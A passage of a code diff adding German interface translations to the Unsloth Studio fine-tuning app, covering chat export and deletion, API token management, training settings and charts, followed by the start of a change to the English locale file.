+        "Laden Sie zuletzt verwendete Chats oder diese plus Projekt-Chats als Raw JSONL, CSV oder ShareGPT JSONL herunter, kombiniert oder pro Chat.",
+      exportConversationsAction: "Exportieren",
+      exportScopeRecents: "Zuletzt verwendet",
+      exportScopeAll: "Zuletzt verwendet + Projekte",
+      exportCombinedSuffix: "(kombiniert)",
+      exportPerChatSuffix: "(pro Chat)",
+      importChats: "Chats importieren",
+      importChatsDescription:
+        "Importieren Sie einen JSONL-, NDJSON- oder CSV-Export in \"Zuletzt verwendet\".",
+      importChatsAction: "Importieren",
+      importNoConversations: "Keine Konversationen in der Datei gefunden.",
+      importedOneChat: "1 Konversation in \"Zuletzt verwendet\" importiert.",
+      importedChatCount:
+        "{count} Konversationen in \"Zuletzt verwendet\" importiert.",
+      importFailed: "Import fehlgeschlagen.",
+      clearHistory: "Chatverlauf löschen",
+      clearHistoryDescription: "Chatverlauf von diesem Gerät löschen.",
+      clearAction: "Löschen",
+      clearAllChats: "Alle Chats löschen",
+      clearAllChatsDescription:
+        "Löscht dauerhaft jeden Chat auf diesem Gerät.",
+      noChatsToClear: "Keine Chats zum Löschen.",
+      clearOneChatDescription:
+        "Löscht dauerhaft den einzigen Chat auf diesem Gerät.",
+      clearChatCountDescription:
+        "Löscht dauerhaft alle {count} Chats auf diesem Gerät.",
+      clearChatsAction: "Chats löschen",
+      clearOneChatTitle: "1 Chat löschen?",
+      clearChatsTitle: "{count} Chats löschen?",
+      clearChatsConfirmDescription:
+        "Löscht dauerhaft jeden Chat auf diesem Gerät. Dies kann nicht rückgängig gemacht werden.",
+      clearingAction: "Wird gelöscht...",
+      clearOneChatAction: "1 Chat löschen",
+      clearChatCountAction: "{count} Chats löschen",
+      clearedAllChats: "Alle Chats gelöscht",
+      clearedOneChat: "1 Chat gelöscht",
+      clearedChatCount: "{count} Chats gelöscht",
+      someChatsCouldNotBeCleared: "Einige Chats konnten nicht gelöscht werden",
+      chatsClearedRemainOne:
+        "{clearedCount} Chats gelöscht; 1 Chat verbleibt. Bitte erneut versuchen.",
+      chatsClearedRemain:
+        "{clearedCount} Chats gelöscht; {remainingCount} Chats verbleiben. Bitte erneut versuchen.",
+      oneChatClearedRemain:
+        "1 Chat gelöscht; {remainingCount} Chats verbleiben. Bitte erneut versuchen.",
+      oneChatClearedRemainOne:
+        "1 Chat gelöscht; 1 Chat verbleibt. Bitte erneut versuchen.",
+      storageClearFailedOne:
+        "Ein Speichervorgang ist fehlgeschlagen; 1 Chat verbleibt möglicherweise. Bitte erneut versuchen.",
+      storageClearFailed:
+        "Ein Speichervorgang ist fehlgeschlagen; {count} Chats verbleiben möglicherweise. Bitte erneut versuchen.",
+      failedToClearChats: "Chats konnten nicht gelöscht werden",
+    },
+    connections: {
+      title: "Verbindungen",
+      description: "Verwalten Sie Anbieter und externe Verbindungen.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Zugriff auf Unsloth über die OpenAI-kompatible API.",
+      readDocs: "API-Dokumentation lesen",
+      noAccess: "Noch kein API-Zugriff.",
+      accessTokens: "Zugriffstoken",
+      loadError: "API-Zugriff konnte nicht geladen werden.",
+      createError: "Zugriffstoken konnte nicht erstellt werden.",
+      revokeError: "Zugriffstoken konnte nicht widerrufen werden.",
+      never: "Nie",
+      tokenNamePlaceholder: "Token-Name (z. B. production)",
+      newAccessTokenName: "Name des neuen Zugriffstokens",
+      createToken: "Token erstellen",
+      creating: "Wird erstellt...",
+      newTokenCreated: "Neues Zugriffstoken erstellt",
+      accessTokenCopied: "Zugriffstoken kopiert",
+      copyAccessToken: "Zugriffstoken kopieren",
+      copyNow: "Jetzt kopieren - es wird nicht erneut angezeigt.",
+      usageExamples: "Nutzungsbeispiele",
+      usageTools: "Tools",
+      exampleCurlTools: "curl + Tools",
+      examplePythonTools: "Python + Tools",
+      exampleJavaScriptTools: "JavaScript + Tools",
+      exampleCurlAdvanced: "curl + erweitert",
+      examplePythonAdvanced: "Python + erweitert",
+      exampleJavaScriptAdvanced: "JavaScript + erweitert",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "Sicheres HTTPS",
+      secureHttpsHint:
+        "Der 0.0.0.0-Port ist weiterhin global erreichbar. Für vollständige Sicherheit starten Sie Unsloth Studio mit --secure, um nur diesen HTTPS-Link freizugeben.",
+      copyTunnelUrl: "Tunnel-URL kopieren",
+      copySnippet: "Snippet kopieren",
+      copy: "Kopieren",
+      copied: "Kopiert",
+      setupDocs: "Einrichtungsdokumentation:",
+      codingAgents: "Coding-Agents",
+      codingAgentsHint:
+        "Starten Sie einen Coding-Agent gegen diesen Server. Er verwendet das geladene Modell; ein lokaler Server erstellt automatisch einen API-Schlüssel, ein entfernter fügt ihn dem Befehl hinzu.",
+      codingAgentsSwap:
+        "Ersetzen Sie claude durch codex, openclaw, opencode, hermes oder pi.",
+      codingAgentDetected: "Auf diesem Gerät installiert",
+      codingAgentsDetectedHint: "Auf diesem Gerät erkannt: {agents}.",
+      relativeNever: "nie",
+      relativeJustNow: "gerade eben",
+      relativeHoursAgo: "vor {count} h",
+      relativeDaysAgo: "vor {count} T",
+      relativeMonthsAgo: "vor {count} Mon.",
+      relativeYearsAgo: "vor {count} J",
+      expired: "abgelaufen",
+      today: "heute",
+      inDays: "in {count} T",
+      created: "Erstellt {value}",
+      used: "Verwendet {value}",
+      expires: "Läuft ab {value}",
+      actionsFor: "Aktionen für {name}",
+      copyPrefix: "Präfix kopieren",
+      revokeToken: "Token widerrufen",
+      revokeTitle: 'Zugriffstoken "{name}" widerrufen?',
+      revokeDescription:
+        "Apps, die dieses Token verwenden, verlieren sofort den Zugriff. Dies kann nicht rückgängig gemacht werden.",
+      revokeAction: '"{name}" widerrufen',
+      revoking: "Wird widerrufen...",
+    },
+    about: {
+      title: "Über",
+      description: "Dokumentation, Versionshinweise, Feedback und Build-Infos.",
+      studioVersion: "Unsloth-Version",
+      packageVersion: "Paketversion",
+      llamaCppVersion: "llama.cpp-Version",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Update",
+      help: "Hilfe",
+      documentation: "Dokumentation",
+      releaseNotes: "Versionshinweise",
+      whatsNew: "Neuigkeiten",
+      feedback: "Feedback",
+      reportIssue: "Problem melden",
+      license: {
+        sectionTitle: "Lizenz",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Open Source unter der GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Lizenziert unter Apache 2.0.",
+      },
+      dangerZone: "Gefahrenzone",
+      shutDownStudio: "Unsloth Studio herunterfahren",
+      shutDownStudioDescription:
+        "Stoppt den Unsloth-Server und beendet Ihre Sitzung.",
+      shutDown: "Herunterfahren",
+      update: {
+        title: "Unsloth Studio aktualisieren",
+        commandText: "{label}-Text",
+        copied: "Kopiert",
+        copyCommand: "Befehl kopieren",
+        commandCopied: "{label} kopiert",
+        copyNamedCommand: "{label} kopieren",
+        checkingInstall: "Prüfe, wie Unsloth installiert wurde...",
+        installIntro: "So installieren oder aktualisieren Sie Unsloth:",
+        localUpdateHeading: "Lokales Update",
+        installCommandUnix: "macOS/Linux-Installationsbefehl",
+        installCommandWindows: "Windows-Installationsbefehl",
+        localInstallDetected:
+          "Lokale Installation erkannt. Aktualisieren Sie aus Ihrem ursprünglichen Checkout, um zu vermeiden, dass er durch PyPI ersetzt wird.",
+        pullThenUpdate:
+          "Holen Sie die neuesten Änderungen und führen Sie dann den lokalen Installer aus:",
+        gitPullCommand: "git pull-Befehl",
+        localInstallerCommand: "Lokaler Installer-Befehl",
+        sourceInstallDetected:
+          "Quell- oder VCS-Paketinstallation erkannt. Installieren Sie erneut vom ursprünglichen lokalen Pfad oder der Git-URL.",
+        repoCheckoutFallback:
+          "Wenn Sie den Repository-Checkout noch haben, führen Sie den lokalen Installer daraus aus:",
+        restartAfterUpdate: "Starten Sie Unsloth nach dem Update neu.",
+        desktopManaged:
+          "Die Desktop-App hält ihr gebündeltes Backend aktuell und weist auf neue Versionen hin, sobald sie verfügbar sind.",
+        unknownInstall:
+          "Es konnte nicht erkannt werden, wie Unsloth installiert wurde. Verwenden Sie für Installer- oder PyPI-Installationen die obigen Befehle.",
+        localCheckout:
+          "Führen Sie bei lokalen Checkout-Installationen den lokalen Installer aus diesem Checkout aus:",
+        docs: "Installationsdokumentation:",
+        docsInstall: "Installation",
+        docsUpdating: "Aktualisierung",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Trainieren",
+    title: "Fine-Tuning-Studio",
+    subtitles: {
+      configure: "Training konfigurieren und starten",
+      trainingInProgress: "Training läuft",
+      viewPastRuns: "Frühere Trainingsläufe ansehen",
+      viewingPastRun: "Früheren Lauf ansehen",
+    },
+    tabs: {
+      configure: "Konfigurieren",
+      currentRun: "Aktueller Lauf",
+      history: "Verlauf",
+    },
+    loadingRuntime: "Trainingslaufzeit wird geladen...",
+    backToHistory: "Zurück zum Verlauf",
+    sections: {
+      model: "Modell",
+      dataset: "Datensatz",
+      params: "Parameter",
+      training: "Training",
+      charts: "Diagramme",
+      progress: "Trainingsfortschritt",
+    },
+    configure: {
+      title: "Konfigurieren",
+      description:
+        "Wählen Sie ein Modell, einen Datensatz und Trainingseinstellungen.",
+      startTraining: "Training starten",
+      starting: "Wird gestartet...",
+      loadingModel: "Modell wird geladen...",
+      checkingDataset: "Datensatz wird geprüft...",
+      trainingConfig: "Trainingskonfiguration",
+    },
+    model: {
+      title: "Modell",
+      description: "Basismodell und Trainingsmethode auswählen",
+      fasterTrainingBadge: "2x schnelleres Training",
+      baseModel: "Basismodell",
+      localModel: "Lokales Modell",
+      localModelTooltip:
+        "Pfad zu einem lokal heruntergeladenen Modell oder einem eigenen HF-Repo.",
+      scanningLocalAndCachedModels:
+        "Lokale und zwischengespeicherte Modelle werden gescannt...",
+      scanning: "Wird gescannt...",
+      scanningLocalModels: "Lokale Modelle werden gescannt...",
+      noLocalModelsFound: "Keine lokalen Modelle gefunden",
+      noLocalModelsFoundManual:
+        "Keine lokalen Modelle gefunden. Pfad manuell eingeben.",
+      failedToLoadLocalModels: "Lokale Modelle konnten nicht geladen werden",
+      hfCache: "HF-Cache",
+      customFolders: "Eigene Ordner",
+      localDir: "Lokales Verzeichnis",
+      huggingFaceModel: "Hugging Face Modell",
+      huggingFaceModelTooltip:
+        "Durchsuchen Sie Hugging Face Modelle oder wählen Sie aus unserer empfohlenen Liste.",
+      searchModels: "Modelle suchen...",
+      searching: "Wird gesucht...",
+      noModelsFound: "Keine Modelle gefunden",
+      needsVram: "Benötigt ~{vram} GB VRAM (GPU: {gpu} GB)",
+      tightVram: "~{vram} GB VRAM (knapp bei {gpu} GB)",
+      vramEstimate: "~{vram} GB VRAM",
+      method: "Methode",
+      methodTooltip:
+        "QLoRA nutzt 4-Bit-Quantisierung für minimalen VRAM. LoRA nutzt 16-Bit. Full aktualisiert alle Gewichte. CPT (Continued Pretraining) trainiert auf Rohtext, um das Modell ohne Chat-Formatierung an eine neue Domäne anzupassen.",
+      readMore: "Mehr erfahren",
+      fullFineTune: "Vollständiges Fine-Tuning",
+      checkingToken: "Token wird geprüft...",
+      getOrUpdateToken: "Token abrufen oder aktualisieren",
+      huggingFaceTokenOptional: "Hugging Face Token (optional)",
+      continuedPretraining: "Continued Pretraining",
+      localModels: "Lokale Modelle",
+      localModelsFound: "{count} lokale/zwischengespeicherte Modelle gefunden",
+      loadingLocalModels: "Lokale Modelle werden geladen...",
+    },
+    dataset: {
+      title: "Datensatz",
+      description: "Trainingsdaten auswählen oder hochladen",
+      source: "Datensatzquelle",
+      chooseDataset: "Datensatz auswählen",
+      chooseDatasetTooltip:
+        "Wechseln Sie über die Popup-Tabs zwischen Hugging Face und lokalen Recipe-Ausgaben.",
+      localTab: "Lokal",
+      searchHuggingFaceDatasets: "Hugging Face Datensätze suchen...",
+      searchLocalDatasets: "Lokale Datensätze suchen...",
+      searching: "Wird gesucht...",
+      noDatasetsFound: "Keine Datensätze gefunden",
+      loadingLocalDatasets: "Lokale Datensätze werden geladen...",
+      failedToLoadLocalDatasets:
+        "Lokale Datensätze konnten nicht geladen werden.",
+      noLocalDatasetsYet: "Noch keine lokalen Datensätze.",
+      noLocalDatasetsMatchSearch:
+        "Keine lokalen Datensätze entsprechen der Suche.",
+      openDataRecipes: "Data Recipes öffnen",
+      browsingSource:
+        "Sie durchsuchen {browsing}. Die aktuelle Auswahl bleibt {current}.",
+      localDatasets: "Lokale Datensätze",
+      localDataset: "Lokaler Datensatz",
+      localDatasetRows: " / {count} Zeilen",
+      huggingFaceDataset: "Hugging Face Datensatz",
+      localDatasetMetadata: "Metadaten des lokalen Datensatzes",
+      dataRecipeOutput: "Data-Recipe-Ausgabe.",
+      rows: "Zeilen",
+      columns: "Spalten",
+      batches: "Batches",
+      updated: "Aktualisiert",
+      evalDataset: "Eval-Datensatz",
+      uploading: "Wird hochgeladen...",
+      upload: "Hochladen",
+      uploadEvalFile: "Eval-Datei hochladen",
+      evalDatasetDescription:
+        "Optional. Wird keiner angegeben, wird ein kleiner Teil aus den Trainingsdaten abgetrennt.",
+      advanced: "Erweitert",
+      targetFormat: "Zielformat",
+      targetFormatTooltip:
+        "Format Ihrer Trainingsdaten. Die automatische Erkennung funktioniert bei den meisten Datensätzen.",
+      auto: "Automatisch",
+      rawText: "Rohtext",
+      trainSplitStart: "Trainings-Split-Start",
+      trainSplitStartTooltip:
+        "Trainieren Sie nur auf einer Teilmenge Ihres Trainings-Splits, indem Sie einen Startzeilenindex angeben (inklusive, 0-basiert). Leer lassen, um bei der ersten Zeile zu beginnen.",
+      trainSplitEnd: "Trainings-Split-Ende",
+      trainSplitEndTooltip:
+        "Letzter aus dem Trainings-Split einzuschließender Zeilenindex (inklusive, 0-basiert). Setzen Sie z. B. Start auf 0 und Ende auf 99, um auf den ersten 100 Zeilen zu trainieren. Leer lassen, um alle verbleibenden Zeilen zu verwenden.",
+      endPlaceholder: "Ende",
+      clear: "Leeren",
+      dropFileOrClick: "1 Datei hier ablegen oder zum Hochladen klicken",
+      viewDataset: "Datensatz ansehen",
+      uploadFailed: "Upload fehlgeschlagen",
+      unknownError: "Unbekannter Fehler",
+      unsupportedFileType: "Nicht unterstützter Dateityp",
+      uploadOneFileType: "Laden Sie eine {types}-Datei hoch.",
+      datasetUploaded: "Datensatz hochgeladen",
+      evalDatasetUploaded: "Eval-Datensatz hochgeladen",
+      uploadOneFileAtATime: "Laden Sie jeweils eine Datei hoch",
+      uploadSingleFileDescription:
+        "Der Trainingsdatensatz-Upload akzeptiert eine einzelne Datei.",
+      checkingToken: "Token wird geprüft...",
+      getOrUpdateToken: "Token abrufen oder aktualisieren",
+      preview: "Datensatz-Vorschau",
+      split: "Split",
+      subset: "Teilmenge",
+      s3: {
+        title: "S3-Konfiguration",
+        description:
+          "Laden Sie .parquet-, .json-, .jsonl- oder .csv-Datensätze aus Amazon S3",
+        bucket: "Bucket-Name",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS-Region",
+        regionPlaceholder: "us-east-1",
+        prefix: "Pfad-Präfix",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip:
+          "Optionaler Pfad innerhalb des Buckets zu Ihren Datensatzdateien",
+        accessKeyId: "Access Key ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Secret Access Key",
+        secretAccessKeyPlaceholder: "Ihr AWS Secret Access Key",
+        useIamRole: "IAM-Rolle verwenden",
+        useIamRoleTooltip:
+          "Verwenden Sie IAM-Rollen-Anmeldedaten statt Access Keys (empfohlen für EC2/SageMaker)",
+        testConnection: "Verbindung testen",
+        connectionSuccess: "Erfolgreich mit S3-Bucket verbunden",
+        connectionFailed: "Verbindung zum S3-Bucket fehlgeschlagen",
+        comingSoon: "S3-Integration folgt bald",
+        comingSoonDescription:
+          "Das Laden von S3-Datensätzen erfordert boto3. Diese Funktion befindet sich in Entwicklung.",
+      },
+    },
+    params: {
+      title: "Parameter",
+      description: "Trainings-Hyperparameter konfigurieren",
+      projectName: "Projektname",
+      optional: "Optional",
+      projectNameDescription:
+        "Wird für Namen der Trainingsausgabe-Ordner, Export-Standardwerte und den Verlauf verwendet.",
+      loraSettings: "LoRA-Einstellungen",
+      trainingHyperparameters: "Trainings-Hyperparameter",
+      maxSteps: "Max. Schritte",
+      epochs: "Epochen",
+      useMaxSteps: "Max. Schritte verwenden",
+      useEpochs: "Epochen verwenden",
+      maxStepsTooltip: "Überschreibt die gesamten Optimierer-Schritte.",
+      epochsTooltip: "Anzahl vollständiger Durchläufe über den Datensatz.",
+      epochsDescription:
+        "Jede Epoche ist ein vollständiger Durchlauf über Ihren Datensatz.",
+      maxStepsDescription:
+        "Begrenzt das Training auf eine feste Anzahl von Optimierer-Schritten.",
+      contextLength: "Kontextlänge",
+      contextLengthTooltip:
+        "Maximale Anzahl an Token pro Trainingsbeispiel.",
+      customContextLength: "Eigenen Wert eingeben",
+      contextLengthDescription:
+        "Maximale Sequenzlänge für Trainingsbeispiele",
+      learningRate: "Lernrate",
+      learningRateTooltip:
+        "Schrittgröße für Gewichtsaktualisierungen. Niedrigere Werte trainieren langsamer, aber stabiler.",
+      learningRateDescription:
+        "Empfohlen: 2e-4 für LoRA, 5e-5 für CPT, 2e-5 für vollständiges Fine-Tuning",
+      embeddingLearningRate: "Embedding-Lernrate",
+      embeddingLearningRateTooltip:
+        "Wird nur verwendet, wenn CPT embed_tokens trainiert. Embeddings destabilisieren leichter als LoRA-Gewichte und benötigen daher meist eine kleinere Lernrate. Leer lassen, um lr/10 zu verwenden; typischer Bereich ist 2- bis 10-mal kleiner als die Haupt-Lernrate. Erhöhen Sie sie nur, wenn die Anpassung von Vokabular oder Domänen-Token zu langsam ist.",
+      embeddingLearningRateDescription:
+        "Leer lassen, um lr/10 zu verwenden (empfohlen). Typischer Bereich ist 2- bis 10-mal kleiner als die Haupt-Lernrate.",
+      rank: "Rank",
+      rankTooltip:
+        "Dimension der Low-Rank-Matrizen. Höher = mehr Kapazität.",
+      alpha: "Alpha",
+      alphaTooltip:
+        "Skalierungsfaktor für LoRA-Updates. Üblicherweise 2x Rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Dropout-Wahrscheinlichkeit für LoRA-Schichten, um Overfitting zu reduzieren.",
+      visionLayers: "Vision-Schichten",
+      languageLayers: "Sprach-Schichten",
+      attentionModules: "Attention-Module",
+      mlpModules: "MLP-Module",
+      targetModules: "Ziel-Module",
+      enableLora: "LoRA aktivieren",
+      trainWithLora: "Mit LoRA trainieren",
+      stableRank: "Stable Rank",
+      memoryEfficient: "Speichereffizient",
+      optimization: "Optimierung",
+      schedule: "Zeitplan",
+      memory: "Speicher",
+      optimizer: "Optimierer",
+      optimizerTooltip:
+        "Optimierungsalgorithmus. 8-Bit-Varianten reduzieren den Speicherbedarf. Fused wird für Vision-Modelle empfohlen.",
+      lrScheduler: "LR-Scheduler",
+      lrSchedulerTooltip:
+        "Wie sich die Lernrate über das Training verändert. Linear fällt gleichmäßig; Cosine fällt in einer Kurve.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Batch-Größe",
+      batchSizeTooltip:
+        "Pro Schritt verarbeitete Beispiele. Höher verbraucht mehr VRAM.",
+      gradAccum: "Grad-Akkumulation",
+      gradAccumTooltip:
+        "Simuliert größere Batch-Größen ohne zusätzlichen VRAM.",
+      weightDecay: "Weight Decay",
+      weightDecayTooltip: "L2-Regularisierung zur Vermeidung von Overfitting.",
+      warmupSteps: "Warmup-Schritte",
+      warmupStepsTooltip:
+        "Erhöht die Lernrate zu Trainingsbeginn schrittweise für mehr Stabilität.",
+      scheduleEpochsTooltip:
+        "Anzahl vollständiger Durchläufe über den Datensatz. Auf 0 setzen, um nach max. Schritten zu laufen.",
+      saveSteps: "Speicher-Schritte",
+      saveStepsTooltip:
+        "Speichert alle N Schritte einen Checkpoint. 0 zum Deaktivieren.",
+      evalSteps: "Eval-Schritte",
+      evalStepsTooltip:
+        "Anteil der gesamten Trainingsschritte zwischen Auswertungen (0-1). Auf 0 setzen, um die Auswertung zu deaktivieren. Z. B. 0.01 = alle 1 % der Schritte auswerten.",
+      seed: "Seed",
+      seedTooltip: "Zufalls-Seed für Reproduzierbarkeit.",
+      gradCheckpoint: "Grad-Checkpoint",
+      gradCheckpointTooltip:
+        "Rechenaufwand gegen Speicher tauschen, indem Aktivierungen neu berechnet werden.",
+      none: "Keine",
+      standard: "Standard",
+      enablePacking: "Packing aktivieren",
+      assistantCompletionsOnly: "Nur Assistenten-Antworten",
+      readMore: "Mehr erfahren",
+    },
+    training: {
+      title: "Training",
+      description: "Training überwachen und steuern",
+      chartNoDataTitle: "Noch keine Trainingsdaten",
+      chartNoDataDescription:
+        "Starten Sie das Training, um den Loss-Verlauf zu sehen",
+      startTraining: "Training starten",
+      starting: "Wird gestartet...",
+      loadingModel: "Modell wird geladen...",
+      checkingDataset: "Datensatz wird geprüft...",
+      configLabel: "Trainingskonfiguration",
+      upload: "Hochladen",
+      uploadConfigTooltip: "Eine gespeicherte YAML-Konfiguration laden",
+      save: "Speichern",
+      saveConfigTooltip: "Aktuelle Konfiguration als YAML herunterladen",
+      reset: "Zurücksetzen",
+      resetConfigTooltip: "Auf Modellstandardwerte zurücksetzen",
+      configLoaded: "Konfiguration geladen",
+      failedToLoadConfig: "Konfiguration konnte nicht geladen werden",
+      invalidYamlFile: "Ungültige YAML-Datei",
+      failedToReadFile: "Datei konnte nicht gelesen werden",
+      parametersReset: "Parameter auf Modellstandardwerte zurückgesetzt",
+      audioIncompatible:
+        "Dieses Modell unterstützt kein Audio. Wechseln Sie zu einem audiofähigen Modell oder wählen Sie einen Nicht-Audio-Datensatz.",
+      visionIncompatible:
+        "Ein Textmodell ist mit einem multimodalen Datensatz nicht kompatibel. Wechseln Sie zu einem Vision-Modell oder wählen Sie einen reinen Textdatensatz.",
+      cancelTitle: "Training abbrechen",
+      cancelDescription:
+        "Möchten Sie den aktuellen Trainingslauf abbrechen?",
+      continueAction: "Training fortsetzen",
+      cancelAction: "Training abbrechen",
+      stopTitle: "Training stoppen",
+      stopDescription:
+        "Wählen Sie, wie Sie den aktuellen Trainingslauf stoppen möchten.",
+      stopAction: "Stoppen",
+      stopping: "Wird gestoppt...",
+      stopAndSave: "Stoppen und speichern",
+      compareInChat: "Im Chat vergleichen",
+      exportModel: "Modell exportieren",
+      milestone: "Meilenstein",
+      halfwayDone: "Zur Hälfte fertig. Das Training ist über 50 %.",
+      doneNextStep:
+        "Training abgeschlossen. Nächster Schritt: Basis- und feinabgestimmte Ausgaben vergleichen.",
+    },
+    history: {
+      title: "Verlauf",
+      emptyTitle: "Noch keine Trainingsläufe",
+      emptyDescription:
+        "Noch keine Trainingsläufe. Starten Sie Ihren ersten Trainingslauf im Tab \"Konfigurieren\".",
+      loadError: "Trainingsläufe konnten nicht geladen werden",
+      deleteError:
+        "Trainingslauf konnte nicht gelöscht werden. Bitte erneut versuchen.",
+      retry: "Erneut versuchen",
+      loadMore: "Mehr laden",
+      loading: "Wird geladen...",
+      loadingRun: "Trainingslauf wird geladen...",
+      runNotFound: "Lauf nicht gefunden",
+      deleteTitle: "Trainingslauf löschen?",
+      deleteDescription:
+        "Dadurch werden dieser Trainingslauf und alle seine Metriken dauerhaft gelöscht. Diese Aktion kann nicht rückgängig gemacht werden.",
+      runCount: "{count} Läufe",
+      oneRun: "1 Lauf",
+      resume: "Fortsetzen",
+      resumeTraining: "Training fortsetzen",
+      resuming: "Wird fortgesetzt...",
+      deleteRun: "Lauf löschen",
+      loss: "Loss",
+      steps: "Schritte",
+      lossTrendSparkline: "Loss-Trend-Sparkline",
+      relativeJustNow: "gerade eben",
+      relativeMinutesAgo: "vor {count} Min.",
+      relativeHoursAgo: "vor {count} Std.",
+      relativeDaysAgo: "vor {count} T",
+      status: {
+        completed: "Abgeschlossen",
+        stopped: "Gestoppt",
+        error: "Fehler",
+        running: "Läuft",
+        continued: "Fortgesetzt",
+      },
+      message: {
+        completed: "Training abgeschlossen",
+        stopped: "Training gestoppt",
+        running: "Training läuft",
+        errored: "Training fehlgeschlagen",
+      },
+      copyPreviewLink: "Vorschaulink kopieren",
+      previewLinkCopied: "Vorschaulink kopiert",
+      previewLinkCopyFailed: "Der Link konnte nicht kopiert werden",
+    },
+    charts: {
+      settings: "Diagramm-Einstellungen",
+      settingsDescription:
+        "Passen Sie die Diagrammdarstellung an, während das Training weiterläuft.",
+      openSettings: "Diagramm-Einstellungen öffnen",
+      viewWindow: "Ansichtsfenster",
+      viewWindowDescription:
+        "Nur die neuesten Schritte oder den gesamten Verlauf anzeigen.",
+      window: "Fenster",
+      all: "Alle",
+      trainingLoss: "Trainings-Loss",
+      trainingLossDescription: "Overlays und EMA-Glättung steuern.",
+      smoothing: "Glättung",
+      smoothingDescription:
+        "Nach rechts bewegen für mehr Glättung. `0` = Rohdaten.",
+      showRawLoss: "Roh-Loss anzeigen",
+      showSmoothedLoss: "Geglätteten Loss anzeigen",
+      showAverageLine: "Durchschnittslinie anzeigen",
+      scaleAndCleanup: "Skala und Bereinigung",
+      linear: "Linear",
+      log: "Logarithmisch",
+      noClip: "Kein Clipping",
+      clipP99: "Clip p99",
+      clipP95: "Clip p95",
+      lossAxis: "Loss-Achse",
+      gradientNormAxis: "Gradientennorm-Achse",
+      learningRateAxis: "Lernraten-Achse",
+      resetDefaults: "Standardwerte zurücksetzen",
+      loss: "Loss",
+      smoothed: "Geglättet",
+      evalLoss: "Eval-Loss",
+      learningRate: "Lernrate",
+      lr: "LR",
+      gradNorm: "Grad-Norm",
+      gradientNorm: "Gradientennorm",
+      step: "Schritt {step}",
+      averageValue: "Ø {value}",
+      waitingForFirstEvaluationStep:
+        "Warte auf ersten Auswertungsschritt...",
+      evaluationNotConfigured: "Auswertung nicht konfiguriert",
+      evalChartWillAppear:
+        "Das Diagramm erscheint, sobald eval_steps erreicht ist",
+      setEvalDatasetAndSteps:
+        "Legen Sie Eval-Datensatz & eval_steps fest, um den Eval-Loss zu verfolgen",
+    },
+    progress: {
+      title: "Trainingsfortschritt",
+      liveMetrics: "Live-Trainingsmetriken",
+      exportGguf: "Nach GGUF exportieren",
+      openConfig: "Trainingskonfiguration öffnen",
+      configLabel: "Trainingskonfiguration",
+      hyperparams: "Hyperparameter",
+      epochs: "Epochen",
+      batchSize: "Batch-Größe",
+      learningRate: "Lernrate",
+      optimizer: "Optimierer",
+      maxSteps: "Max. Schritte",
+      contextLength: "Kontextlänge",
+      warmupSteps: "Warmup-Schritte",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Epoche {value}",
+      percentComplete: "{percent}% abgeschlossen",
+      stepProgress: "Schritt {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Grad-Norm",
+      project: "Projekt",
+      model: "Modell",
+      method: "Methode",
+      elapsed: "Vergangen: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} Schritte/s",
+      noStepsPerSecond: "-- Schritte/s",
+      tokens: "Token: {value}",
+      gpuMonitor: "GPU-Monitor",
+      live: "Live",
+      utilization: "Auslastung",
+      temperature: "Temperatur",
+      vram: "VRAM",
+      power: "Leistung",
+      phase: {
+        idle: "Inaktiv",
+        downloadingModel: "Modell wird heruntergeladen",
+        downloadingDataset: "Datensatz wird heruntergeladen",
+        loadingModel: "Modell wird geladen",
+        loadingDataset: "Datensatz wird geladen",
+        configuring: "Wird konfiguriert",
+        training: "Training",
+        completed: "Abgeschlossen",
+        error: "Fehler",
+        stopped: "Gestoppt",
+      },
+    },
+    trainingStart: {
+      ready: "Bereit",
+      downloading: "Wird heruntergeladen",
+      preparing: "Wird vorbereitet",
+      left: "{eta} verbleibend",
+      downloaded: "{size} heruntergeladen",
+      terminalStart: "> Unsloth-Training beginnt...",
+      preparingResources: "> Modell und Datensatz werden vorbereitet...",
+      gettingReady: "> Wir bereiten alles für Ihren Lauf vor...",
+      waitingForFirstStep:
+        "> {message} | warte auf ersten Schritt... ({step})",
+      resumingTraining: "Training wird fortgesetzt...",
+      startingTraining: "Training wird gestartet...",
+      dataset: "Datensatz",
+      datasetStreaming: "Datensatz: Streaming (kein vollständiger Download)",
+      modelWeights: "Modellgewichte",
+    },
+    tour: {
+      guidedTour: "Geführte Tour",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 136e8523ba..fe3a6f8542 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -41,6 +41,7 @@ export const en = {
       recipes: "Recipes",
       export: "Export",
       recents: "Recents",
+      noChatsYet: "No chats yet",
       settings: "Settings",
       api: "API",
       lightMode: "Light Mode",
@@ -87,16 +88,90 @@ export const en = {
       title: "Settings",
       description: "Manage your Unsloth preferences.",
       closeAriaLabel: "Close settings",
+      searchPlaceholder: "Search settings…",
+      searchNoResults: "No settings found.",
     },
     tabs: {
       general: "General",
       profile: "Profile",
       appearance: "Appearance",
